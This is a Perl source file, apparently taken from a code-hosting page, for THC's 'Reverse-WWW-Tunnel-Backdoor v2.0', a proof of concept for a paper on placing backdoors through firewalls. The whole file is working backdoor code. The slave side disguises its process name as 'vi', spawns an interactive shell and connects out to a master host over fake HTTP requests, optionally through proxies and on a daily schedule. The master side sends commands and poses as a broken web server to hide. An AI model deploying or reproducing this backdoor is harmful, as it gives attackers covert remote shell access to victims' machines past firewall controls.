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367 lines
14 KiB
Brainfuck
367 lines
14 KiB
Brainfuck
#
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# Reverse-WWW-Tunnel-Backdoor v2.0
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# (c) 1998-2002 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
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# Check out http://www.thehackerschoice.com
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# Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
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# available at the website above in the "Articles" section.
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#
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# Greets to all THC, TESO, ADM and #bluebox guys
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# verified to work on Linux, Solaris, AIX and OpenBSD
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# BUGS: some Solaris machines: select(3) is broken, won't work there
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# on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
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# we can't make proper receive checks here. Workaround implemented.
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#
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# HISTORY:
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# v2.0: HTTP 1.0 protocol compliance (finally ;-)
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# v1.6: included www-proxy authentication ;-))
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# v1.4: porting to various unix types (and I thought perl'd be portable...)
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# v1.3: initial public release of the paper including this tool
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#
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# GENERAL CONFIG (except for $MASK, everything must be the same
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# for MASTER and SLAVE is this section!)
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#
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$MODE="POST"; # GET or POST
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$CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
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$MASK="vi"; # for masking the program's process name
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$PASSWORD="THC"; # anything, nothing you have to rememeber
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# (not a real "password" anyway)
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#
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# MASTER CONFIG (specific for the MASTER)
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#
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$LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080)
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$SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!)
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#
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# SLAVE CONFIG (specific for the SLAVE)
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#
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$SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh)
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$DELAY="3"; # time to wait for output after your command(s)
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#$TIME="14:39"; # time when to connect to the master (unset if now)
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#$DAILY="yes"; # tries to connect once daily if set with something
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#$PROXY="127.0.0.1"; # set this with the Proxy if you must use one
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#$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one
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#$PROXY_USER="user"; # username for proxy authentication
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#$PROXY_PASSWORD="pass";# password for proxy authentication
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#$DEBUG="yes"; # for debugging purpose, turn off when in production
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$BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris
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# END OF CONFIG # nothing for you to do after this point #
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################## BEGIN MAIN CODE ##################
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require 5.002;
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use Socket;
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$|=1; # next line changes our process name
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if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
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undef $DAILY if (! $TIME);
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if ( !($PROXY) || !($PROXY_PORT) ) {
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undef $PROXY;
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undef $PROXY_PORT;
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}
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$protocol = getprotobyname('tcp');
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if ($ARGV[0] ne "slave" && $ARGV[0] ne "daemon" && $ARGV[0] ne "master" && $ARGV[1] eq "") {
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print STDOUT "Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n";
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print STDOUT "Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n";
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exit(0);
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}
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if ($ARGV[0] eq "slave") {
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print STDOUT "starting in slave mode\n";
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$SLAVE_MODE = "yeah";
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}
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# check for a correct mode
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if ($MODE ne "GET" && $MODE ne "POST") {
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print STDOUT "Error: MODE must either be GET or POST, re-edit this perl config\n";
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exit(-1);
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}
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if (! $SLAVE_MODE) {
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&master;
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} else {
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&slave;
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}
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# END OF MAIN FUNCTION
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############### SLAVE FUNCTION ###############
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sub slave {
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$pid = 0;
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$PROXY_SUFFIX = "Host: " . $SERVER . "\r\nUser-Agent: Mozilla/4.0\r\nAccept: text/html, text/plain, image/jpeg, image/*;\r\nAccept-Language: en\r\n";
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if ($PROXY) { # setting the real config (for Proxy Support)
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$REAL_SERVER = $PROXY;
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$REAL_PORT = $PROXY_PORT;
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$REAL_PREFIX = $MODE . " http://" . $SERVER . ":" . $LISTEN_PORT
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. $CGI_PREFIX;
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$PROXY_SUFFIX = $PROXY_SUFFIX . "Pragma: no-cache\r\n";
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if ( $PROXY_USER && USER_PASSWORD ) {
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&base64encoding;
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$PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
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}
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} else {
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$REAL_SERVER = $SERVER;
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$REAL_PORT = $LISTEN_PORT;
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$REAL_PREFIX = $MODE . " " . $CGI_PREFIX;
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}
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$REAL_PREFIX = $REAL_PREFIX . "?" if ($MODE eq "GET");
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$REAL_PREFIX = $REAL_PREFIX . " HTTP/1.0\r\n" if ($MODE eq "POST");
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AGAIN: if ($pid) { kill 9, $pid; }
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if ($TIME) { # wait until the specified $TIME
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$TIME =~ s/^0//; $TIME =~ s/:0/:/;
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(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
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= localtime(time);
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$t=$hour . ":" . $min;
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while ($TIME ne $t) {
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sleep(28); # every 28 seconds we look at the watch
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(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
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= localtime(time);
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$t=$hour . ":" .$min;
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}
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}
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print STDERR "Slave activated\n" if $DEBUG;
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if ($DAILY) { # if we must connect daily, we'll
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if (fork) { # fork the daily shell process to
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sleep(69); # ensure the master control process
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goto AGAIN; # won't get stuck by a fucking cmd
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} # the user executed.
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print STDERR "forked\n" if $DEBUG;
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}
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$address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
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$remote = sockaddr_in($REAL_PORT, $address);
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$forked = 0;
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GO: close(THC);
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socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
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or die "can't create socket\n";
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setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
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if (! $forked) { # fork failed? fuck, let's try again
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pipe R_IN, W_IN; select W_IN; $|=1;
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pipe R_OUT, W_OUT; select W_OUT; $|=1;
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$pid = fork;
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if (! defined $pid) {
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close THC;
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close R_IN; close W_IN;
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close R_OUT; close W_OUT;
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goto GO;
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}
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$forked = 1;
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}
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if (! $pid) { # this is the child process (execs $SHELL)
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close R_OUT; close W_IN; close THC;
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print STDERR "forking $SHELL in child\n" if $DEBUG;
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open STDIN, "<&R_IN";
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open STDOUT, ">&W_OUT";
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open STDERR, ">&W_OUT";
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exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
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close R_IN; close W_OUT;
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exit(0);
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} else { # this is the parent (data control + network)
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close R_IN;
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sleep($DELAY); # we wait $DELAY for the commands to complete
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vec($rs, fileno(R_OUT), 1) = 1;
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print STDERR "before: allwritten2stdin\n" if $DEBUG;
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select($r = $rs, undef, undef, 30);
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print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
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sleep(1); # The following readin of the command output
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$output = ""; # looks weird. It must be! every system
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vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-((
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print STDERR "before: readwhiledatafromstdout\n" if $DEBUG;
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while (select($w = $ws, undef, undef, 1)) {
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read R_OUT, $readout, 1 || last;
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$output = $output . $readout;
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}
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print STDERR "after : readwhiledatafromstdout\n" if $DEBUG;
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print STDERR "before: fucksunprob\n" if $DEBUG;
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vec($ws, fileno(W_OUT), 1) = 1;
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while (! select(undef, $w=$ws, undef, 0.001)) {
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read R_OUT, $readout, 1 || last;
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$output = $output . $readout;
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}
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print STDERR "after : fucksunprob\n" if $DEBUG;
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print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG;
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print W_OUT "\000" || goto END_IT;
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print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
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while (1) {
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read R_OUT, $readout, 1 || last;
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last if ($readout eq "\000");
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$output = $output . $readout;
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}
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print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
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&uuencode; # does the encoding of the shell output
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if ($MODE eq "GET") {
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$encoded = $REAL_PREFIX . $encoded . " HTTP/1.0\r\n";
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$encoded = $encoded . $PROXY_SUFFIX;
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$encoded = $encoded . "\r\n";
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} else { # $MODE is "POST"
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$encoded = $REAL_PREFIX . $PROXY_SUFFIX
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. "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
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. $encoded . "\r\n";
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}
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print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
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connect(THC, $remote) || goto END_IT; # connect to master
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print STDERR "send encoded data, fail->exit\n" if $DEBUG;
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send (THC, $encoded, 0) || goto END_IT; # and send data
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$input = "";
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vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
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print STDERR "before: wait4answerfromremote\n" if $DEBUG;
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while (! select($r = $rt, undef, undef, 0.00001)) {}
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print STDERR "after : wait4answerfromremote\n" if $DEBUG;
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print STDERR "read data from socket until eod\n" if $DEBUG;
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$error="no";
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# while (1) { # read until EOD (End Of Data)
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print STDERR "?" if $DEBUG;
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# OpenBSD 2.2 can't recv here! can't get any data! sucks ...
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recv (THC, $readin, 16386, 0) || undef $error;
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# if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
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print STDERR "!" if $DEBUG;
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goto OK if (($readin eq "\000") or ($readin eq "\n")
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or ($readin eq ""));
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$input = $input . $readin;
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# }
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OK: print STDERR "\nall data read, entering OK\n" if $DEBUG;
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print STDERR "RECEIVE: $input\n" if $DEBUG;
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$input =~ s/.*\r\n\r\n//s;
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print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
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&uudecode; # decoding the data from the master
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print STDERR "AFTER DECODING: $decoded\n" if $DEBUG;
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print STDERR "if password not found -> exit\n" if $DEBUG;
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goto END_IT if ($decoded =~ m/^$PASSWORD/s == 0);
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$decoded =~ s/^$PASSWORD//;
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print STDERR "writing input data to $SHELL\n" if $DEBUG;
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print W_IN "$decoded" || goto END_IT; # sending the data
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sleep(1); # to the shell proc.
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print STDERR "jumping to GO\n" if $DEBUG;
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goto GO;
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}
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END_IT: kill 9, $pid; $pid = 0;
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exit(0);
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} # END OF SLAVE FUNCTION
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############### MASTER FUNCTION ###############
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sub master {
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socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
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or die "can't create socket\n";
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setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
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bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
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listen(THC, 3) || die "can't listen\n"; # print the HELP
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print STDOUT '
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Welcome to the Reverse-WWW-Tunnel-Backdoor v2.0 by van Hauser / THC ...
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Introduction: Wait for your SLAVE to connect, examine it\'s output and then
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type in your commands to execute on SLAVE. You\'ll have to
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wait min. the set $DELAY seconds before you get the output
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and can execute the next stuff. Use ";" for multiple commands.
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Trying to execute interactive commands may give you headache
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so beware. Your SLAVE may hang until the daily connect try
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(if set - otherwise you lost).
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You also shouldn\'t try to view binary data too ;-)
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"echo bla >> file", "cat >> file <<- EOF", sed etc. are your
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friends if you don\'t like using vi in a delayed line mode ;-)
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To exit this program on any time without doing harm to either
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MASTER or SLAVE just press Control-C.
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Now have fun.
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';
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YOP: print STDOUT "\nWaiting for connect ...";
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$remote=accept (S, THC) || goto YOP; # get the connection
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($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE
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$slave=gethostbyaddr($r_slave, AF_INET); # data.
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$slave="unresolved" if ($slave eq "");
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print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
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select S; $|=1;
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select STDOUT; $|=1;
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$input = "";
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vec($socks, fileno(S), 1) = 1;
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$error="no";
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# while (1) { # read the data sent by the slave
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while (! select($r = $socks, undef, undef, 0.00001)) {}
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recv (S, $readin, 16386, 0) || undef $error;
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if ((! $error) and (! $BROKEN_RECV)) {
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print STDOUT "[disconnected]\n";
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}
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# $readin =~ s/\r//g;
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# $input = $input . $readin;
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# last if ( $input =~ m/\r\n\r\n/s );
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$input = $readin;
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print STDERR "MASTER RECEIVE: $input\n" if $DEBUG;
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# }
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&hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 );
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if ( $input =~ m/^GET /s ) {
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$input =~ s/^.*($CGI_PREFIX)\??//s;
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$input =~ s/\r\n.*$//s;
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} else { if ( $input =~ m/^POST /s ) {
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$input =~ s/^.*\r\n\r\n//s;
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} else { if ( $input =~ m/^HEAD /s ) {
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&hide_as_broken_webserver;
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} else {
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close S;
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print STDOUT "Warning! Illegal server access!\n"; # report to user
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goto YOP;
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} } }
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print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
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&uudecode; # decoding the data from the slave
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&hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 );
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$decoded =~ s/^$PASSWORD//s;
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$decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
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print STDOUT "$decoded"; # showing the slave output to the user
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$output = <STDIN>; # and get his input.
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&uuencode; # encode the data for the slave
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$encoded = "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n" . $encoded . "\r\n";
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send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it
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close (S);
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print STDOUT "sent.\n";
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goto YOP; # wait for the next connect from the slave
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} # END OF MASTER FUNCTION
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###################### MISC. FUNCTIONS #####################
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sub uuencode { # does the encoding stuff for error-free data transfer via WWW
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$output = $PASSWORD . $output; # PW is for error checking and
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$uuencoded = pack "u", "$output"; # preventing sysadmins from
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$uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird
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/'zcadefghjklmnopqrstuv' # data. No real
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/; # security!
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$uuencoded =~ tr/"'"/'b'/;
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if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
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$codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
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$cut_length = 4099 - (length $REAL_PREFIX);
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$uuencoded = pack "a$cut_length", $uuencoded
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if ($codelength > 4111);
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}
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$encoded = $uuencoded;
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} # END OF UUENCODE FUNCTION
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sub uudecode { # does the decoding of the data stream
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$input =~ tr/'zcadefghjklmnopqrstuv'
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/'\n)=(:;&><,#$*%]!\@"`\\\-'
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/;
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$input =~ tr/'b'/"'"/;
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$decoded = unpack "u", "$input";
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} # END OF UUDECODE FUNCTION
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sub base64encoding { # does the base64 encoding for proxy passwords
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$encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
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$encoded_string = substr(pack('u', $encode_string), 1);
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chomp($encoded_string);
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$encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
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$padding = (3 - length($encode_string) % 3) % 3;
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$encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
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$PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
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} # END OF BASE64ENCODING FUNCTION
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sub hide_as_broken_webserver { # invalid request -> look like broken server
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send (S, "<HTML><HEAD>\r\n<TITLE>404 File Not Found</TITLE>\r\n</HEAD>".
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"<BODY>\r\n<H1>File Not Found</H1>\r\n</BODY></HTML>\r\n", 0);
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close S;
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print STDOUT "Warning! Illegal server access!\n"; # report to user
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goto YOP;
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} # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
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# END OF PROGRAM # (c) 1998-2002 by <vh@reptile.rug.ac.be>
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